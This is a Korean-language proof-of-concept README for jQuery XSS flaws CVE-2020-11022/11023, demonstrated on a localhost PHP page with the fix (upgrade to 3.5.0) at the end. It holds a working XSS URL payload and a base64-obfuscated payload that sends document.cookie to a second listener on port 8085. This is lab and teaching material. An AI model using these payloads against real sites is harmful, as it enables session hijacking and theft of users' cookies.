CVE-2020-11022 CVE-2020-11023

jQuery 버전 1.2 이상, 3.5.0 미만에서 신뢰할 수 없는 소스의 HTML(살균 처리 후에도)을 jQuery의 DOM 조작 메서드(예: .html(), .append() 등)에 전달하면 신뢰할 수 없는 코드가 실행될 수 있습니다. 이 문제는 jQuery 3.5.0에서 패치되었습니다.

jQuery 버전 1.0.3 이상, 3.5.0 미만에서 신뢰할 수 없는 소스의 <option> 요소를 포함한 HTML(살균 처리 후에도)을 jQuery의 DOM 조작 메서드(예: .html(), .append() 등)에 전달하면 신뢰할 수 없는 코드가 실행될 수 있습니다. 이 문제는 jQuery 3.5.0에서 패치되었습니다.

익스플로잇

1. PHP 웹서버에 index.php 페이지를 호스팅합니다. 빠른 서버 실행을 위해 sudo php -S 127.0.0.1:80 사용을 제안합니다.

간단한 XSS

2. 경로 http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E에 접속합니다.
3. "'.html()을 통해 추가' 버튼을 누릅니다.
4. 알림창이 뜨는 것을 확인합니다.

쿠키 탈취

2. 8085 포트에서 다른 웹서버를 시작합니다. 이를 위해 Python 사용을 제안합니다: sudo python3 -m http.server 8085
3. 경로 http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E에 접속합니다.
4. "'.html()을 통해 추가' 버튼을 누릅니다.
5. Python 로그에서 쿠키를 확인합니다.

수정 방법

이 스크립트에서 이 CVE를 수정하려면 jQuery 버전을 https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js로 변경하기만 하면 됩니다 :)